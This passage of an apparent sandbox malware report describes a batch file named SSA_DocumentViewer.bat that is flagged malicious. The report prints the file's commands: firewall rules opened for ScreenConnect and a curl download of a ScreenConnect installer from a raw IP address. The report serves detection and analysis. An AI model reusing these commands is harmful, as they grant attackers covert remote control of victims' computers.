"00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NetWkstaUserGetInfo" (Indicator: "NetWkstaUserGetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp")45:T74e,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "30,5572,3121,,CreateToolhelp32Snapshot,kernel32.dll,"00:37:01.984",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00007004.00000000.142431.466E5000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "44,4852,3121,,CreateToolhelp32Snapshot,kernel32.dll,"00:36:46.875",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00007248.00000000.141465.CBDAD000.00000004.mdmp") Found reference to API "GetModuleHandle failed" (Indicator: "GetModuleHandle"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp")46:T12e8,Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000160.00000000.142109.F9690000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00000160.00000000.142109.F9690000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}$" (Indicator: "\Device\"; Source: "00000000-00000160.00000000.142109.F96BB000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}$" (Indicator: "\DosDevices\"; Source: "00000000-00000160.00000000.142109.F96BB000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00000160.00000000.142109.F96BB000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003164.00000000.140821.8B590000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00003164.00000000.140821.8B590000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\sc.exe" (Indicator: "\Device\"; Source: "00000000-00004504.00000000.140498.F89C0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00005336.00000000.141787.EA030000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00005336.00000000.141787.EA030000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00005460.00000000.143075.4E430000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00005460.00000000.143075.4E430000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00005776.00000000.141143.BCCC0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00005776.00000000.141143.BCCC0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}A" (Indicator: "\Device\"; Source: "00000000-00005776.00000000.141143.BCCEB000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}A" (Indicator: "\DosDevices\"; Source: "00000000-00005776.00000000.141143.BCCEB000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006852.00000000.142753.B7D40000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}DLL.mui" (Indicator: "\Device\"; Source: "00000000-00006852.00000000.142753.B7D40000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}DLL.mui" (Indicator: "\DosDevices\"; Source: "00000000-00006852.00000000.142753.B7D40000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00006852.00000000.142753.B7D40000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00007004.00000000.142431.46680000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00007004.00000000.142431.46680000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}J" (Indicator: "\Device\"; Source: "00000000-00007004.00000000.142431.466CA000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}J" (Indicator: "\DosDevices\"; Source: "00000000-00007004.00000000.142431.466CA000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\net1.exe" (Indicator: "\Device\"; Source: "00000000-00007200.00000000.140109.F4AD0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00007248.00000000.141465.CBD60000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00007248.00000000.141465.CBD60000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\Device\"; Source: "00000000-00007248.00000000.141465.CBDAD000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\DosDevices\"; Source: "00000000-00007248.00000000.141465.CBDAD000.00000004.mdmp")47:Tac8,Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "GetSidLengthRequired" (Indicator: "GetSidLengthRequired"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "CreateWellKnownSid" (Indicator: "CreateWellKnownSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "GetAce" (Indicator: "GetAce"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "RtlInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "RtlCopySid" (Indicator: "CopySid"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NtDuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "CreateWellKnownSid" (Indicator: "CreateWellKnownSid"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp")48:T932,"cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "CD4A22BDFC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "2BD2B5C0FC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "3B87B5C3FC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "833CB5C6FC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "DDF1B4C9FC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "29A7B4CCFC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "985CB4CFFC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "C211B4D2FC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "13C7B3D5FC44DD010000000000000000000000000200000000")49:Ta22,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NET.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WHERE.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\SC.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CURL.EXE"; Value: "") "net1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "")4a:T932,"cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "CD4A22BDFC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "2BD2B5C0FC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "3B87B5C3FC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "833CB5C6FC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "DDF1B4C9FC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "29A7B4CCFC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "985CB4CFFC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "C211B4D2FC44DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "13C7B3D5FC44DD010000000000000000000000000200000000")4b:Tabd,Process "%WINDIR%\system32\net.exe" launched with commandline "net session" (UID: 00000000-00005724) Process "%WINDIR%\system32\net1.exe" launched with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00007200) Process "%WINDIR%\system32\where.exe" launched with commandline "where msiexec" (UID: 00000000-00002232) Process "%WINDIR%\system32\where.exe" launched with commandline "where powershell" (UID: 00000000-00007744) Process "%WINDIR%\system32\where.exe" launched with commandline "where curl" (UID: 00000000-00005524) Process "%WINDIR%\system32\sc.exe" launched with commandline "sc query "msiserver"" (UID: 00000000-00004504) Process "%WINDIR%\system32\netsh.exe" launched with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Outbound"" (UID: 00000000-00003164) Process "%WINDIR%\system32\netsh.exe" launched with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Inbound"" (UID: 00000000-00005776) Process "%WINDIR%\system32\netsh.exe" launched with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Server Port"" (UID: 00000000-00007248) Process "%WINDIR%\system32\netsh.exe" launched with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Network Discovery"" (UID: 00000000-00005336) Process "%WINDIR%\system32\netsh.exe" launched with commandline "netsh advfirewall firewall add rule name="ScreenConnect Outbound" dir=out action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any" (UID: 00000000-00000160) Process "%WINDIR%\system32\netsh.exe" launched with commandline "netsh advfirewall firewall add rule name="ScreenConnect Inbound" dir=in action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any" (UID: 00000000-00007004) Process "%WINDIR%\system32\netsh.exe" launched with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server Port" dir=out action=allow protocol=TCP localport=8040 remoteport=8040 enable=yes profile=any" (UID: 00000000-00006852) Process "%WINDIR%\system32\netsh.exe" launched with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server Port In" dir=in action=allow protocol=TCP localport=8040 enable=yes profile=any" (UID: 00000000-00005460) Process "%WINDIR%\system32\where.exe" launched with commandline "where curl" (UID: 00000000-00000740) Process "%WINDIR%\system32\curl.exe" launched with commandline "curl -s -L -o "%TEMP%\\ScreenConnect_1091_58.56\\ScreenConnect.ClientSetup.msi" "http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest" --connect-timeout 300 --max-time 2400 --retry 12 --retry-delay 25 --retry-max-time 1800 --show-error" (UID: 00000000-00004068)4c:T5f2,"cmd.exe" monitors "HKLM\SOFTWARE\Microsoft\Ole" (Filter: 268435457; Subtree: 0) "cmd.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\Local Settings\Software\Microsoft" (Filter: 268435457; Subtree: 1) "net.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\HwOrder" (Filter: 4; Subtree: 0) "net.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\ProviderOrder" (Filter: 4; Subtree: 0) "net1.exe" monitors "HKLM\SOFTWARE\Microsoft\Ole" (Filter: 268435457; Subtree: 0) "net1.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\Local Settings\Software\Microsoft" (Filter: 268435457; Subtree: 1) "where.exe" monitors "HKLM\SOFTWARE\Microsoft\Ole" (Filter: 268435457; Subtree: 0) "where.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\Local Settings\Software\Microsoft" (Filter: 268435457; Subtree: 1) "sc.exe" monitors "HKLM\SOFTWARE\Microsoft\Ole" (Filter: 268435457; Subtree: 0) "sc.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\Local Settings\Software\Microsoft" (Filter: 268435457; Subtree: 1) "netsh.exe" monitors "HKLM\SOFTWARE\Microsoft\Ole" (Filter: 268435457; Subtree: 0) "netsh.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\Local Settings\Software\Microsoft" (Filter: 268435457; Subtree: 1) "netsh.exe" monitors "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist" (Filter: 5; Subtree: 1)4d:T587,Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Outbound"" (UID: 00000000-00003164) Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Inbound"" (UID: 00000000-00005776) Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Server Port"" (UID: 00000000-00007248) Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Network Discovery"" (UID: 00000000-00005336) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Outbound" dir=out action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any" (UID: 00000000-00000160) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Inbound" dir=in action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any" (UID: 00000000-00007004) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server Port" dir=out action=allow protocol=TCP localport=8040 remoteport=8040 enable=yes profile=any" (UID: 00000000-00006852) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server Port In" dir=in action=allow protocol=TCP localport=8040 enable=yes profile=any" (UID: 00000000-00005460)4e:Ta45,Spawned process "cmd.exe" with commandline "/c ""C:\\SSA_DocumentViewer.bat" "" (UID: 00000000-00006472) Spawned process "net.exe" with commandline "net session" (UID: 00000000-00005724) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00007200) Spawned process "cmd.exe" with commandline "/c ver" (UID: 00000000-00000008) Spawned process "where.exe" with commandline "where msiexec" (UID: 00000000-00002232) Spawned process "where.exe" with commandline "where powershell" (UID: 00000000-00007744) Spawned process "where.exe" with commandline "where curl" (UID: 00000000-00005524) Spawned process "sc.exe" with commandline "sc query "msiserver"" (UID: 00000000-00004504) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Outbound"" (UID: 00000000-00003164) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Inbound"" (UID: 00000000-00005776) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Server Port"" (UID: 00000000-00007248) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Network Discovery"" (UID: 00000000-00005336) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Outbound" dir=out action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any" (UID: 00000000-00000160) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Inbound" dir=in action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any" (UID: 00000000-00007004) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server Port" dir=out action=allow protocol=TCP localport=8040 remoteport=8040 enable=yes profile=any" (UID: 00000000-00006852) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server Port In" dir=in action=allow protocol=TCP localport=8040 enable=yes profile=any" (UID: 00000000-00005460) Spawned process "where.exe" with commandline "where curl" (UID: 00000000-00000740) Spawned process "curl.exe" with commandline "curl -s -L -o "%TEMP%\\ScreenConnect_1091_58.56\\ScreenConnect.ClientSetup.msi" "http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest" --connect-timeout 300 --max-time 2400 --retry 12 --retry-delay 25 --retry-max-time 1800 --show-error" (UID: 00000000-00004068)1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790270201730,"unified_at":"2026-09-24T17:16:41.730Z","metadata":{"hashes":{"sha256":"b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d","sha1":"46d059b9af2147dbe95cbbe41501db84d2aced77","md5":"00f1ede49e8ae76db97ee19e3a05652b","sha512":"3747881da707a719fcf8e817adf3e3faf39f97ca4d31f7f9a2d6e80887c961e4774b9f7c768729c5a65fe103dda41242dfb2184af9effe10227719fa26a9b65d","ssdeep":"768:sU792FVj0N6jlprvVX+fbU4PpTBLI5//WyTxlS:sU7IFVj0NmHrvVYPpTBLI5//WyNlS","ssdeep_chunks":["768:sU792FV","768:U792FVj","768:792FVj0","768:92FVj0N","768:2FVj0N6","768:FVj0N6j","768:Vj0N6jl","768:j0N6jlp","768:0N6jlpr","768:N6jlprv","768:6jlprvV","768:jlprvVX","768:lprvVX+","768:prvVX+f","768:rvVX+fb","768:vVX+fbU","768:VX+fbU4","768:X+fbU4P","768:+fbU4Pp","768:fbU4PpT","768:bU4PpTB","768:U4PpTBL","768:4PpTBLI","768:PpTBLI5","768:pTBLI5/","768:TBLI5//","768:BLI5//W","768:LI5//Wy","768:I5//WyT","768:5//WyTx","768://WyTxl","768:/WyTxlS","1536:sU792FV","1536:U792FVj","1536:792FVj0","1536:92FVj0N","1536:2FVj0N6","1536:FVj0N6j","1536:Vj0N6jl","1536:j0N6jlp","1536:0N6jlpr","1536:N6jlprv","1536:6jlprvV","1536:jlprvVX","1536:lprvVX+","1536:prvVX+f","1536:rvVX+fb","1536:vVX+fbU","1536:VX+fbU4","1536:X+fbU4P","1536:+fbU4Pp","1536:fbU4PpT","1536:bU4PpTB","1536:U4PpTBL","1536:4PpTBLI","1536:PpTBLI5","1536:pTBLI5/","1536:TBLI5//","1536:BLI5//W","1536:LI5//Wy","1536:I5//WyT","1536:5//WyTx","1536://WyTxl","1536:/WyTxlS","768:sU7IFVj","768:U7IFVj0","768:7IFVj0N","768:IFVj0Nm","768:FVj0NmH","768:Vj0NmHr","768:j0NmHrv","768:0NmHrvV","768:NmHrvVY","768:mHrvVYP","768:HrvVYPp","768:rvVYPpT","768:vVYPpTB","768:VYPpTBL","768:YPpTBLI","768:I5//WyN","768:5//WyNl","768://WyNlS"],"imphash":"Unknown"},"file_info":{"f